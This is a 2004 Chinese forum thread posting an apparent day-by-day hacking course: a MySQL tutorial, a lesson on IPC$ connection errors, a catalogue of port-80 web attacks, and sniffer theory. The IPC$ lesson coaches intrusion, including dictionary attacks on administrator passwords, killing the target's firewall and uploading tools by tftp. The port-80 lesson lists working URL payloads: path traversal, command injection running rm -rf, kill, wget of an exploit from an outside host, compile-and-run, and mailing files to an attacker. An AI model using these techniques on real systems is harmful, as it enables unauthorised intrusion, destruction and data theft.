昨天我们说到了SQL,很多朋友说很难,我也知道很难的,说那个只是让大家有个基本的了解,不然以后说一些问题时会很困难的。今天我们来说mySQL,之所以说它是为了让大家对数据库能有个较深的了解。MySQL数据库可以称得上是目前运行速度最快的SQL语言数据库。除了具有许多其它数据库所不具备的功能和选择之外,MySQL数据库是一种完全免费的产品,用户可以直接从网上下载数据库,而不必支付任何费用(推荐下载站点http://www.mysql.com)。
现在很多公司都把MYSQL作为自己数据库管理系统,那如果我们要进入他们的数据库的话就一定要对它有个基础的了解
我将分几个方面来讲这个,包括如果设置数据库,以及如何执行基本的命令等
好,先说第一个如何与数据库建立连接。
一般来说,我们访问MySQL数据库时,首先需要使用telnet远程登录安装数据库系统的服务器,然后再进入MySQL数据库。MySQL数据库的连接命令如下:
mysql -h hostname -u username -p[password]
或者:
mysql -h hostname -u username --password=password
其中,hostname为装有MySQL数据库的服务器名称,username和password分别是用户的登录名称和口令。
如果MySQL数据库安装和配置正确的话,用户在输入上述命令之后会得到如下系统反馈信息:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 49 to server version: 3.21.23-beta-log
Type 'help' for help.
mysql>;
这样,用户就成功进入了MySQL数据库系统,可以在mysql>;命令提示符之后输入各种命令。
下面我们来说一些主要管理命令,当然你可以在HELP下获得 (我就是从里面copy的)
mysql>; help
help (\h) 显示命令帮助
? (\h) 作用同上
clear (\c) 清除屏幕内容
connect (\r) 重新连接服务器,可选参数为 db(数据库)和 host(服务器)
exit (\) 退出mysql数据库,作用与quit命令相同
go (\g) 将命令传送至mysql数据库
print (\p) 打印当前命令
quit (\q) 退出mysql数据库
status (\s) 显示服务器当前信息
use (\u) 打开数据库,以数据库名称作为命令参数
上述命令主要用于MySQL数据库的系统管理,如果用户需要对某个具体的数据库进行操作,可以使用use命令进入该数据库,格式如下:
mysql>; use dbname;
在MySQL数据库中,用于保存数据记录的结构被称为数据表。而每一条数据记录则是由更小的数据对象,即数据类型组成。因此,总体来说,一个或多个数据类型组成一条数据记录,一条或多条数据记录组成一个数据表,一个或多个数据表组成一个数据库。我们可以把上述结构理解为如下形式:
Database < Table < Record < Datatype
MySQL 数据库提供了多种数据类型,其中较为常用的几种如下: (这个就简单介绍了)
CHAR (M) CHAR数据类型用于表示固定长度的字符串,可以包含最多达255个字符。其中M代表字符串的长度。
VARCHAR (M) VARCHAR可以保存可变长度的字符串。其中M代表该数据类型所允许保存的字符串的最大长度,只要长度小于该最大值的字符串都可以被保存在该数据类型中。
light_years INT
DATE DATE数据类型用于保存日期数据,默认格式为YYYY-MM-DD。
这个很重要的,举个例子
the_date DATE;
TEXT / BLOB
SET
ENUM
基本就这么多,我没有详细说是因为好象大家可能对这不感兴趣,如果你有兴趣的话,用-QQ联络我,我推荐几个好东西给你,今天时间不早了,就说到着明天我们说下面的内容。可能这2天大家觉得很无聊,但不吃一番苦怎们能开心呢?好象是这样说的吧,呵呵
好象不怎么全哦, 我来发全!
数据库从最初的数据文件的简单集合发展到今天的大型数据库管理系统已经成为我们日常生活中不可缺少的组成部分。如果不借助数据库的帮助,许多简单的工作将变得冗长乏味,甚至难以实现。尤其是象银行、院校和图书馆这样的大型组织更加依*数据库系统实现其正常的运作。再看互联网上,从搜索引擎到在线商场,从网上聊天到邮件列表,都离不开数据库。
目前,市面上的数据库产品多种多样,从大型企业的解决方案到中小企业或个人用户的小型应用系统,可以满足用户的多样化需求。这里,我们所要向大家介绍的MySQL数据库是众多的关系型数据库产品中的一个,相比较其它系统而言,MySQL数据库可以称得上是目前运行速度最快的SQL语言数据库。除了具有许多其它数据库所不具备的功能和选择之外,MySQL数据库是一种完全免费的产品,用户可以直接从网上下载数据库,用于个人或商业用途,而不必支付任何费用(推荐下载站点http://www.mysql.com)。
总体来说,MySQL数据库具有以下主要特点:
1. 同时访问数据库的用户数量不受限制;
2. 可以保存超过50,000,000条记录;
3. 是目前市场上现有产品中运行速度最快的数据库系统;
4. 用户权限设置简单、有效。
如今,包括Siemens和Silicon Graphics这样的国际知名公司也开始把MySQL作为其数据库管理系统,这就更加证明了MySQL数据库的优越性能和广阔的市场发展前景。
本文将重点向读者介绍MySQL数据库的一些基本操作,包括如何与数据库建立连接,如果设置数据库,以及如何执行基本的命令等。希望能够对读者学习和掌握MySQL数据库有所助益。
入门
一般来说,我们访问MySQL数据库时,首先需要使用telnet远程登录安装数据库系统的服务器,然后再进入MySQL数据库。MySQL数据库的连接命令如下:
mysql -h hostname -u username -p[password]
或者:
mysql -h hostname -u username --password=password
其中,hostname为装有MySQL数据库的服务器名称,username和password分别是用户的登录名称和口令。
如果MySQL数据库安装和配置正确的话,用户在输入上述命令之后会得到如下系统反馈信息:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 49 to server version: 3.21.23-beta-log
Type 'help' for help.
mysql>;
这样,用户就成功进入了MySQL数据库系统,可以在mysql>;命令提示符之后输入各种命令。下面,我们列出一些MySQL数据库的主要管理命令供读者参考,用户也可以通过在命令符之后输入help,\h或?得到以下命令的简单说明。
mysql>; help
help (\h) 显示命令帮助
? (\h) 作用同上
clear (\c) 清除屏幕内容
connect (\r) 重新连接服务器,可选参数为 db(数据库)和 host(服务器)
exit (\) 退出mysql数据库,作用与quit命令相同
go (\g) 将命令传送至mysql数据库
print (\p) 打印当前命令
quit (\q) 退出mysql数据库
status (\s) 显示服务器当前信息
use (\u) 打开数据库,以数据库名称作为命令参数
上述命令主要用于MySQL数据库的系统管理,如果用户需要对某个具体的数据库进行操作,可以使用use命令进入该数据库,格式如下:
mysql>; use dbname;
这里需要提醒读者注意的一点就是MySQL数据库要求使用者在所有命令的结尾处使用“;”作为命令结束符。
数据类型和数据表
从本质上说,数据库就是一种不断增长的复杂的数据组织结构。在MySQL数据库中,用于保存数据记录的结构被称为数据表。而每一条数据记录则是由更小的数据对象,即数据类型组成。因此,总体来说,一个或多个数据类型组成一条数据记录,一条或多条数据记录组成一个数据表,一个或多个数据表组成一个数据库。我们可以把上述结构理解为如下形式:
Database < Table < Record < Datatype
数据类型分为不同的格式和大小,可以方便数据库的设计人员创建最理想的数据结构。能否正确的选择恰当的数据类型对最终数据库的性能具有重要的影响,因此,我们有必要首先对数据类型的有关概念进行较为详细的介绍。
MySQL 数据类型
MySQL 数据库提供了多种数据类型,其中较为常用的几种如下:
CHAR (M)
CHAR数据类型用于表示固定长度的字符串,可以包含最多达255个字符。其中M代表字符串的长度。
举例如下:
car_model CHAR(10);
VARCHAR (M)
VARCHAR是一种比CHAR更加灵活的数据类型,同样用于表示字符数据,但是VARCHAR可以保存可变长度的字符串。其中M代表该数据类型所允许保存的字符串的最大长度,只要长度小于该最大值的字符串都可以被保存在该数据类型中。因此,对于那些难以估计确切长度的数据对象来说,使用VARCHAR数据类型更加明智。VARCHAR数据类型所支持的最大长度也是255个字符。
这里需要提醒读者注意的一点是,虽然VARCHAR使用起来较为灵活,但是从整个系统的性能角度来说,CHAR数据类型的处理速度更快,有时甚至可以超出VARCHAR处理速度的50%。因此,用户在设计数据库时应当综合考虑各方面的因素,以求达到最佳的平衡。
举例如下:
car_model VARCHAR(10);
INT (M) [Unsigned]
INT数据类型用于保存从- 2147483647 到2147483648范围之内的任意整数数据。如果用户使用Unsigned选项,则有效数据范围调整为0-4294967295。举例如下:
light_years INT;
按照上述数据类型的设置,-24567为有效数据,而3000000000则因为超出了有效数据范围成为无效数据。
再例如:
light_years INT unsigned;
这时,3000000000成为有效数据,而-24567则成为无效数据。
FLOAT [(M,D)]
FLOAT数据类型用于表示数值较小的浮点数据,可以提供更加准确的数据精度。其中,M代表浮点数据的长度(即小数点左右数据长度的总和),D表示浮点数据位于小数点右边的数值位数。
举例如下:
rainfall FLOAT (4,2);
按照上述数据类型的设置,42.35为有效数据,而324.45和3.542则因为超过数据长度限制或者小数点右边位数大于规定值2成为无效数据。
DATE
DATE数据类型用于保存日期数据,默认格式为YYYY-MM-DD。MySQL提供了许多功能强大的日期格式化和操作命令,本文无法在此一一进行介绍,感兴趣的读者可以参看MySQL的技术文档。
DATE数据类型举例如下:
the_date DATE;
TEXT / BLOB
TEXT和BLOB数据类型可以用来保存255 到65535个字符,如果用户需要把大段文本保存到数据库内的话,可以选用TEXT或BLOB数据类型。TEXT和BLOB这两种数据类型基本相同,唯一的区别在于TEXT不区分大小写,而BLOB对字符的大小写敏感。
SET
SET数据类型是多个数据值的组合,任何部分或全部数据值都是该数据类型的有效数据。SET数据类型最大可以包含64个指定数据值。
举例如下:
transport SET ("truck", "wagon") NOT NULL;
根据上述数据类型的设置,truck、wagon、以及truck,wagon都可以成为transport的有效值。
ENUM
ENUM数据类型和SET基本相同,唯一的区别在于ENUM只允许选择一个有效数据值。例如:
transport ENUM ("truck", "wagon") NOT NULL;
根据上述设置,truck或wagon将成为transport的有效数据值。
以上,我们只是对用户使用MySQL数据库的过程中经常用到的数据类型进行了简单介绍,有兴趣的读者,可以参看MySQL技术文档的详细说明。
数据记录
一组经过声明的数据类型就可以组成一条记录。记录小到可以只包含一个数据变量,大到可以满足用户的各种复杂需求。多条记录组合在一起就构成了数据表的基本结构。
数据表
在我们执行各种数据库命令之前,首先需要创建用来保存信息的数据表。我们可以通过以下方式在MySQL数据库中创建新的数据表:
mysql>; CREATE TABLE test (
>; name VARCHAR (15),
>; email VARCHAR (25),
>; phone_number INT,
>; ID INT NOT NULL AUTO_INCREMENT,
>; PRIMARY KEY (ID));
系统反馈信息为:
Query OK, 0 rows affected (0.10 sec)
mysql>;
这样,我们就在数据库中创建了一个新的数据表。注意,同一个数据库中不能存在两个名称相同的数据表。
这里,我们使用CREATE TABLE命令创建的test数据表中包含name,email,phone_number和ID四个字段。MySQL数据库允许字段名中包含字符或数字,最大长度可以达到64个字符。
下面,我们来看一看创建数据表时所用到的几个主要的参数选项。
Primary Key
具有Primary Key限制条件的字段用于区分同一个数据表中的不同记录。因为同一个数据表中不会存在两个具有相同值的Primary Key字段,所以对于那些需要严格区分不同记录的数据表来说,Primary Key具有相当重要的作用。
Auto_Increment
具有Auto_Increment限制条件的字段值从1开始,每增加一条新记录,值就会相应地增加1。一般来说,我们可以把Auto_Increment字段作为数据表中每一条记录的标识字段。
NOT NULL
NOT NULL限制条件规定用户不得在该字段中插入空值。
其它数据表命令
除了创建新的数据表之外,MySQL数据库还提供了其它许多非常实用的以数据表作为操作对象的命令。
显示数据表命令
mysql>; show tables;
该命令将会列出当前数据库下的所有数据表。
显示字段命令
mysql>; show columns from tablename;
该命令将会返回指定数据表的所有字段和字段相关信息。
数据操作
对MySQL数据库中数据的操作可以划分为四种不同的类型,分别是添加、删除、修改和查询,我们将会在本节中对此进行介绍。但是,首先我们需要强调的一点就是MySQL数据库所采用的SQL语言同其它绝大多数计算机编程语言一样,对命令的语法格式有严格的规定。任何语法格式上的错误,例如不正确的使用括号、逗号或分号等都可能导致命令执行过程中的错误。因此,建议用户在学习时一定要多留心语法格式的使用。
添加记录
用户可以使用INSERT命令向数据库中添加新的记录。
例如:
mysql>; INSERT INTO test valueS
mysql>; ('John', 'carrots@mail.com',
mysql>; 5554321, NULL);
上述命令正确执行后会返回以下信息:
Query OK, 1 row affected (0.02 sec)
mysql>;
对上述命令有几点我们需要说明。首先,所有的字符类型数据都必须使用单引号括起来。其次,NULL关键字与AUTO_INCREMENT限制条件相结合可以为字段自动赋值。最后,也是最重要的一点就是新记录的字段值必须与数据表中的原字段相对应,如果原数据表中有4个字段,而用户所添加的记录包含3个或5个字段的话都会导致错误出现。
MySQL数据库的一个非常显著的优势就是可以对整数、字符串和日期数据进行自动转换。因此,用户在添加新记录时就不必担心因为数据类型不相符而出现错误。
查询数据
如果我们无法从数据库中查找和读取数据的话,数据库就丧失了其存在和使用的价值。
在MySql数据库中,用户可以使用SELECT命令进行数据的查询。
例如:
mysql>; SELECT * FROM test
mysql>; WHERE (name = "John");
上述命令会返回如下结果:
name
email
phone
ID
John
carrots@mail.com
5554321
1
删除数据
用户除了可以向数据表中添加新的记录之外,还可以删除数据表中的已有记录。删除记录可以使用DELETE命令。
例如:
mysql>; DELETE FROM test
mysql>; WHERE (name = "");
该命令将会删除test数据表中name字段的值为John的记录。同样,
mysql>; DELETE FROM test
mysql>; WHERE (phone_number = 5554321);
将会从数据表中删除phone_number字段值为5554321的记录。
修改数据
MySQL数据库还支持用户对已经输入到数据表中的数据进行修改。修改记录可以使用UPDATE命令。
例如:
mysql>; UPDATE test SET name = 'Mary'
mysql>; WHERE name = "John";
上述命令的执行结果如下:
name
email
phone
ID
Mary
carrots@mail.com
5554321
1
到此为止,我们对MySQL数据库数据操作的核心概念,即数据的添加、删除、修改和查询进行了简单的介绍。
gunguymadman 回复于:2004-11-19 10:55:31
『第12天』从ipc$ 连接失败讲起
--------------------------------------------------------------------------------
今天讲这个好像有点不协调(我指和昨天的),但因为大家在过去的一些日子里遇到了这个问题,所以我觉得有必要再说说这个问题
ipc$ 大家现在都很熟悉了吧,很多人在QQ上都问这个。好像大部分的入侵都非要用到ipc$连接(事实上并不是这样),这似乎是一个很大的缺口,看别人说的好像容易的就像用冰河一样,但事实上,大部分管理员根本不会给你这种机会,让你去用ipc$为所欲为,管理员会想尽一切办法屏蔽掉这个众人皆知的漏洞,就是家用的一般只要有防火墙或是之类的也不会让你这么轻松的进去的。我今天就想和大家一起来看一下ipc$失败的原因和解决的方法。
我们最好先来看一下什么是ipc¥连接。ipc(internet process connection)是远程网络连接。而ipc$,admin$,c$,d$,e$这些则是winnt和win2000的默认共享。ipc$就是一种管道通讯,它在两个ip间建立一个连接。我们一般看到对方主机开了139,445,我们一般就说对方开了共享。就可以尝试用ipc¥连接,具体怎么样你应该没问题了吧。(这种功能只在winnt和win2000种才有,windows98是没有的。 )
很多朋友对ipc¥连接的概念很混淆,我在这里罗嗦几句,ipc¥连接分为ipc$空连接和带有一定权限ipc$连接,这两者可是大大的不一样,许多朋友在建立了空连接之后,就着急的想copy工具上去,这是肯定会报错的,其实这也是很多朋友经常碰到的问题。因为这是空连接,没有任何的权限(就好像匿名访问一样),除了可以得到远程主机的netbios信息外,什么命令都执行不了而可以复制文件是你获得了一定的权限后,比如说你得到一个管理员密码是空口令,也就是带有一定权限的ipc$连接,空连接只是简单的和远程主机建立了一个通讯的管道。是不是什么用都没有呢?当然不是了,我们可以用暴力破解的方法来得到管理员的密码,就是挂上字典不断地进行对ipc$空连接的试探,从而达到取得管理员密码的目的,什么好用你就用什么。到这里我已经对ipc¥空连接和带有一定权限ipc$连接有了一个比较清楚的了解。 很多朋友可能会说说了半天也没到重点。别急嘛,就是作为个知识理解也很好嘛
好了,现在我们来自己分析一下ipc$常见的失败原因,以下都是虚拟的哦
1、错误1326
我们用命令net use \\192.168.0.1\ipc$ "12345" /user:"admaninistrator"进行连接,[如图3]报系统发生1326错误,登陆失败:未知用户名或密码错误。这个错误很常见哦~~~,我们检查一下我们的命令,发现原来是用户名输入错误。(也可能是你的密码输入错误)
2、错误67
这也是我们经常碰到的,让我们许多刚上路的朋友郁闷不已,我们来试一下,输入命令net use \\192.168.0.1\ipc$ "12345" /user:"admninistrator"报系统发生错误67错误[如图5],找不到网络路径。我们需要进入我们的虚拟机看一下,查看一下共享,原来是没开共享,难怪找不到路径。怎么解决呢?我们可以用net share 打开共享。这样就可以了,不会报错了。
3、错误53
再次输入net use \\192.168.0.1\ipc$ "12345" /user:"admninistrator",报系统发生错误53错误找不到网络名。刚才试找不到路径,现在是找不到网络名。这8成是对方的机子开了防火墙了。我们只要杀掉防火墙这个进程就OK了
我们现在已经了解了ipc$失败的原因,我们知道稍微有一点安全意识的网络管理员都会关闭掉共享,不会给你机会用简单的ipc$连接进入他的机子,当然也不排除了哈^_^,而如果他屏蔽掉了ipc$共享并且开了很少的服务(或者根本禁止了许多可以利用的服务),就算你通过某种方法比如说溢出攻击,得到了权限,进入了系统,这时你添加一个账号也没什么意义。想用ipc$连接上传工具,却发现连续的报错,错误1326和错误67比较简单,容易对付。如果碰到对方开了防火墙,也就是(错误67),远程连接不上,我们怎么办呢?这里提供几种办法,
1、杀掉远程主机中的防火墙,如果对方安装了resouce kit 那么我们就可以用tlist 和kill 两个命令来找到并且杀掉防火墙的进程。
2、利用tftp。并不是说有的管理员都安装了resouce kit,那我们怎么办呢?我们知道2000是自带的tftp,我们可以用tftp来上传工具,如tlist 、kill等等,然后关闭防火墙和杀毒软件
3、利用自己的ftp。我们还可以自己驾一个ftp服务器,然后用远程的计算机反过来ftp我们自己的机子,达到上传工具的目的。然后杀掉进程...(其实已经没必要了)剩下的就随你的便了。
马上对上面的方法作几个解释
上面的几种解决办法也只是假设,因为一般的管理员都会想办法禁止windows自带tftp客户端的使用,(具体参阅这篇帖子:http://www.patching.net/org/content/16.htm
)这样给我们就有点麻烦。但有时候还是有用的哦
gunguymadman 回复于:2004-11-19 10:56:34
[第13天]80端口攻击总结
--------------------------------------------------------------------------------
今天我们来说说80端口的攻击方法,只是把大概的说一下,肯定有遗漏了.
我将描述每种攻击的作用,和其怎样利用这些漏洞进行攻击(注意host的意思你应该懂吧)
(1)’.’ ’..’ 和 ’...’ 请求
这些攻击痕迹是非常普遍的用于web应用程序和web服务器,它用于允许攻击者或者蠕虫病毒程序改变web服务器的路径,获得访问非公开的区域。大多数的CGI程序漏洞含有这些’..’请求。
Example:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
这个列子展示了攻击者请求mosd这个文件,如果攻击者有能力突破web服务器根目录,那么可以获得更多的信息,并进一步的获得特权。
(2)’%20’ 请求
%20是表示空格的16进制数值,虽然这个并不代表你能够利用什么,但是在你浏览日志的时候会发现它,一些web服务器上运行的应用程序中这个字符可能会被有效的执行,所以,你应该仔细的查看日志。另一方面,这个请求有时可以帮助执行一些命令。
Example:
http://host/cgi-bin/lame.cgi?page=ls%20-al
这个列子展示了攻击者执行了一个unix的命令,列出请求的整个目录的文件,导致攻击者访问你系统中重要的文件,帮助他进一步取得特权提供条件。
(3)’%00’ 请求
%00表示16进制的空字节,他能够用于愚弄web应用程序,并请求不同类型的文件。
Examples:
http://host/cgi-bin/lame.cgi?page=index.html
这可能是个有效的请求在这个机子上,如果攻击者注意到这个请求动作成功,他会进一步寻找这个cgi程序的问题。
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
也许这个cgi程序不接受这个请求,原因在于它要检查这个请求文件的后缀名,如:html.shtml或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效,这个时候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型,这样,攻击者可以获得系统的路径,文件名,导致在你的系统获得更多的敏感信息
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
注意这个请求,它将骗取cgi程序认为这个文件是个确定的可接受的文件类型,一些应用程序由于愚蠢的检查有效的请求文件,这是我们常用的方法。
(4)’|’ 请求
这是个管道字符,在unix系统用于帮助在一个请求中同时执行多个系统命令。
Example:
# cat access_log| grep -i ’..’
(这个命令将显示日志中的“..“请求,常用于发现我们和蠕虫攻击)
常可以看到有很多web应用程序用这个字符,这也导致IDS日志中错误的报警。
在你的程序仔细的检查中,这样是有好处的,可以降低错误的警报在入侵检测系统中。
下面给出一些列子:
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls
这个请求命令执行,下面是一些变化的列子
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc
这个请求在unix系统中列出/etc目录的所有文件
http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20’lame’
这个请求cat命令的执行并且grep命令也将执行,查询出”lame’
(5)’;’ 请求
在unix系统,这个字符允许多个命令在一行执行
Example:
# id;uname -a
(执行id命令后,紧跟着执行uname命令)
一些web程序用这个字符,可能导致在IDS日志中失败的警告,应该仔细的检查web程序,让IDS警报失败的几率降低
(6)’<’ 和 ’>;’ 请求
应该检查你的日志记录中这两个字符,众多的原因中,首要的一个是这个字符表明了添加数据在文件中
Example 1:
# echo ’your hax0red h0 h0’ >;>; /etc/motd (请求写信息在motd这个文件中)
一个攻击者可以容易的用象上面的这个请求篡改你的web页面。比如著名的RDS exploit常被攻击者用于更改web主页面。
Example 2:
http://host/something.php=Hi%20mom%20Im%20Bold!
你会注意到这里html语言的标志,同样用了“〈”,“〉”字符,这种攻击不能导致攻击者对系统进行访问,它迷惑人们认为这是个合法的信息在web站点中(导致人们在访问这个联结的时候访问到攻击者设定的地址,这种请求可能会被转变成16进制的编码字符形式,使攻击的痕迹不那么明显)
(7)’!’请求
这种字符请求常用语对SS(Server Side Include) I进行攻击,如果攻击者迷惑用户点击被攻击者设定的联结,和上面的一样。
Example:
http://host1/something.php=
这个列子是攻击者可能会做的,它让一个host2站点上的文件看起来是来自于 host1上面的(当然,需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成16进制的编码伪装,不易发现)
同时,这种方式也可以以web站点的权限执行命令
Example:
http://host/something.php=
这个列子在远程的系统上执行“id’的命令,它将显示这个web站点用户的id,通常是”nobody’或者“www’
这种形式也允许包含隐藏文件。
Example:
ttp://host/something.php=
这个隐藏文件.htpasswd不会被显示出来,Apache建立的规则会拒绝这种以.ht 形式的请求,而SSI标志会绕过这种限制,并导致安全问题
(8)’ 这种攻击用于试图在远程的web应用程序中插入PHP程序,它可能允许执行命令,这取决于服务器的设置,和其他起作用的一些因素(比如php设置为安全模式)
Example:http://host/something.php=
在某些简单的php应用程序中,它可能会在远程系统上以web站点用户的权限执行本地命令
(9)’`’ 请求
这种字符后面常用在perl中执行命令,这个字符在web应用程序中不是经常的使用,所以,如果看到它在你的日志中,应该非常小心
Example:
http://host/something.cgi=`id`
一个perl写的有问题的cgi程序,会导致执行id命令
下面是针对管理员说的,因为现在很多网管都在看这个,所以我觉得有必要写一点,当然也是让你知道你的对手有哪些着数了,呵呵.我只是罗列了一些攻击后的痕迹,当然不能罗列所有了
’/bin/ls’
这个命令请求整个路径,在很多的web应用程序中都有这个漏洞,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。再一次提醒,写好的web应用程序(cgi,asp,php...etc)是安全的基础
Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al
http://host/cgi-bin/bad.cgi?doh=ls%20-al;
’cmd.exe’
这是一个windows的shell,一个攻击者如果访问并运行这个脚本,在服务器设置允许的条件下可以在windows机器上做任何事情,很多的蠕虫病毒就是通过80端口,传播到远程的机器上
http://host/scripts/WINNT/system32/cmd.exe?dir+e:
’/bin/id’
这是个2进制的文件,它的问题和/bin/ls一样,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。
它将显示属于哪个用户和属于哪个组
Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id
http://host/cgi-bin/bad.cgi?doh=id;
’/bin/rm’
这个命令可以删除文件,如果不正确的使用是非常危险的
Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*
http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
’wget and tftp’ 命令
这些命令常被攻击者用来下载可能进一步获得特权的文件,wget是unix下的命令,可能被用来下载后门程序,tftp是unix和nt下的命令,用来下载文件。一些IIS蠕虫通过tftp来复制自身传播病毒到其他的主机
Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| http://www.hwa-security.net/Phantasmp.c">;http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
’cat’ 命令
这个命令用来查看文件内容,常用来读重要的信息,比如配置文件,密码文件,信用卡文件和你能够想到的文件
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
’echo’ 命令
这个命令常用于写数据到文件中,比如“index.html”
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20’fc-#kiwis%20was%20here’%20>;>;%200day.txt| http://host/cgi-bin/bad.cgi?doh=echo%20’fc-#kiwis%20was%20here’%20>;%200day.txt;
’ps’ 命令
列出当前运行的进程,告诉攻击者远程主机运行了那些软件,以便从中得到一些安全问题的主意,获得进一步的权限
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux | http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
’kill and killall’ 命令
在unix系统这个命令用于杀掉进程,一个攻击者可以用这个命令来停止系统服务和程序,同时可以擦掉攻击者的痕迹,一些exploit会产生很多的子进程
Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200 | http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
’uname’ 命令
这个命令告诉攻击者远程机器的名字,一些时候,通过这个命令知道web站点位于哪个isp,也许是攻击者曾今访问过的。通常uname -a来请求,这些都将记录在日志文件中
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a | http://host/cgi-bin/bad.cgi?doh=uname%20-a;
’cc, gcc, perl, python, etc...’ 编译/解释命令
攻击者通过wget或者tftp下载exploit,并用cc,gcc这样的编译程序进行编译成可执行程序,进一步获得特权
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c | http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
如果你查看日志中发现有“perl” python”这些说明可能攻击者下载远程的perl ,python脚本程序,并试图本地获得特权
’mail’ 命令
攻击者通常用这个命令将系统的一些重要文件发到攻击者自己的信箱,也肯能是进行邮件炸弹的攻击
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@****cnhonker.org%20<
gunguymadman 回复于:2004-11-19 10:57:31
『第14天』sniffer,今天开始说它了
--------------------------------------------------------------------------------
sniffers(嗅探器)几乎和internet有一样久的历史了.他们是最早的一个允许系统管理员分析网络和查明哪里有错误发生的工具.但是这个工具也给我们带来很大的方便。今天我们看2个问题:1。什么是sniffer 2。如何防止sniffer的监听。似乎是矛盾的哦,呵呵,要2个方面都知道才能百战百胜嘛
什嘛是sniffer (抄定义的)
在单选性网络中, 以太网结构广播至网路上所有的机器, 但是只有预定接受信息包的那台计算机才会响应. 不过网路上其他的计算机同样会"看到"这个信息包,但是如果他们不是预定的接受者,他们会排除这个信息包. 当一台计算机上运行着sniffer的时候并且网络处于监听所有信息交通的状态, 那么这台计算机就有能力浏览所有的在网络上通过的信息包.(这个当然很爽了)
那你就有个问题谁使用这个呢?lan/wan 管理员使用sniffers来分析网络信息交通并且找出网络上何处发生问题.一个安全管理员可以同时用多种sniffers, 将它们放置在网络的各处,形成一个入侵警报系统.对于系统管理员来说sniffers是一个非常好的工具,当然还有我们大家了。那常见的sniffers 有哪些呢?很多,我常用的有Sniffer Pro。当然看一些文章介绍了snoop,但注意这是在UNIX下的,我没怎么用 过 ,所以就不说这个了。至于其他一些好用的,我想你学到现在了应该可以自己找了(上GOOGLE 或是BAIDU都可以,不http://www.yahoo.com/ 也不错的)。
那怎么防止sniffer的监听?
显而易见的,保护网络不受sniffer监听的方法就是不要让它们进入. 如果一个人不能通过你的系统进入的话,那么他们无法安装sniffers.当有人看上一个大多数网络通讯流通的中心区域(防火墙或是代理服务器)时,他们便确定这是他们的攻击目标并将被监视.一些可能的"受害者"在服务器的旁边,这时候个人信息将被截获(可能是各种信息甚至是密码)
一个好的方式来保护你的网络不受sniffer监视是将网络用以太网接线器代替普通的集线器分成尽可能多的段.接线器可以分割你的网络通讯并防止每一个系统"看到"每个信息包.坏处是这种东西太贵了,这个还是很重要的
另一个方法是,和那种接线器比就是加密术.Sniffer依然可以监视到信息的传送,但是显示的是乱码.但这个有问题就是网络会延迟,当然还有速度问题和使用一个弱加密术比较容易被攻破。
用一些软件也可以帮助你查出是不是有人在监视你,比如AntiSniff(很小的,但可以扫描你的网路并测试一台计算机是否运行在混杂模式(监听网路上每个数据包)什么意思?你看看上面的类容吧),下载http://www.pdasky.com.cn/down.asp?id=2876&no=1
gunguymadman 回复于:2004-11-19 10:58:11
『第15天』网络监听技术分析 纯属理论
--------------------------------------------------------------------------------
今天我们先说几个基本概念.首先,我们知道,一台接在以太网内的计算机为了和其他主机进行通讯,在硬件上是需要网卡,在软件上是需要网卡驱动程序的。而每块网卡在出厂时都有一个唯一的不与世界上任何一块网卡重复的硬件地址,称为mac地址。同时,当网络中两台主机在实现tcp/ip通讯时,网卡还必须绑定一个唯一的ip地址.
对我们来说,浏览网页,收发邮件等都是很平常,很简便的工作,其实在后台这些工作是依*tcp/ip协议族实现的,大家知道有两个主要的网络体系:OSI参考模型和TCP/IP参考模型,OSI模型即为通常说的7层协议,它由下向上分别为物理层、数据链路层、网络层、传输层、会话层、表示层、应用层,而tcp/ip模型中去掉了会话层和表示层后,由剩下的5层构成了互联网的基础,在网络的后台默默的工作着。
当局域网内(因为我们最常见的就是局域网)的主机都通过HUB等方式连接时,一般都称为共享式的连接(就是大家长说的共享),这种共享式的连接有一个很明显的特点:就是HUB会将接收到的所有数据向HUB上的每个端口转发,也就是说当主机根据mac地址进行数据包发送时,尽管发送端主机告知了目标主机的地址,但这并不意味着在一个网络内的其他主机听不到发送端和接收端之间的通讯,只是在正常状况下其他主机会忽略这些通讯报文而已!如果这些主机不愿意忽略这些报文,网卡被设置为promiscuous状态的话,那么,对于这台主机的网络接口而言,任何在这个局域网内传输的信息都是可以被听到的。如果网卡被设置为为混杂模式(promiscuous),主机将会默不作声的听到以太网内传输的所有信息,也就是说:窃听也就因此实现了!
对发生在局域网的其他主机上的监听,一直以来,都缺乏很好的检测方法。这是由于产生网络监听行为的主机在工作时总是不做声的收集数据包,几乎不会主动发出任何信息。但可惜的有些大虾们就爱动脑筋啊,现在已经有些方法了
1:反应时间
